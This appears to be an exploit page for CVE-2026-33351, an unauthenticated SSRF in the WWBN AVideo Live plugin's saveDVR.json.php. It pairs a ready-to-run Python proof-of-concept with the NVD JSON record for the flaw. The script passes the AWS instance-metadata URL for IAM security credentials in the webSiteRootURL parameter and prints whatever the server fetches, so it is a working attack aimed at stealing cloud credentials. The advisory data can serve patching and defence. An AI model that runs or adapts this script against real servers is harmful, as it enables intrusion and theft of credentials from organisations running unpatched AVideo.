CVE-2026-33351

#!/usr/bin/env python3 import requests # Target URL (Vulnerable endpoint) target_url = "http://target-ip/plugin/Live/standAloneFiles/saveDVR.json.php" # Malicious internal URL to test SSRF (e.g., local metadata or internal port) # Example: AWS Metadata, Localhost, or internal admin panel malicious_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Parameters to exploit the vulnerability params = { "webSiteRootURL": malicious_payload } try: print(f"Sending request to {target_url} with payload...") response = requests.get(target_url, params=params, timeout=10) # Check if the request was processed if response.status_code == 200: print("[+] Potential SSRF vulnerability triggered!") print("Response content:") print(response.text[:500]) # Print first 500 chars to avoid huge output else: print(f"[-] Request returned status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}")

{"cve": {"id": "CVE-2026-33351", "sourceIdentifier": "[email protected]", "published": "2026-03-23T14:16:33.423", "lastModified": "2026-03-23T15:57:06.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. Antes de la versión 26.0, existe una vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en 'plugin/Live/standAloneFiles/saveDVR.json.php'. Cuando el plugin AVideo Live se despliega en modo autónomo (la configuración prevista para este archivo), el parámetro '$_REQUEST['webSiteRootURL']' se utiliza directamente para construir una URL que se obtiene del lado del servidor mediante 'file_get_contents()'. No se realiza autenticación, validación de origen o inclusión en lista blanca de URL. La versión 26.0 contiene un parche para el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}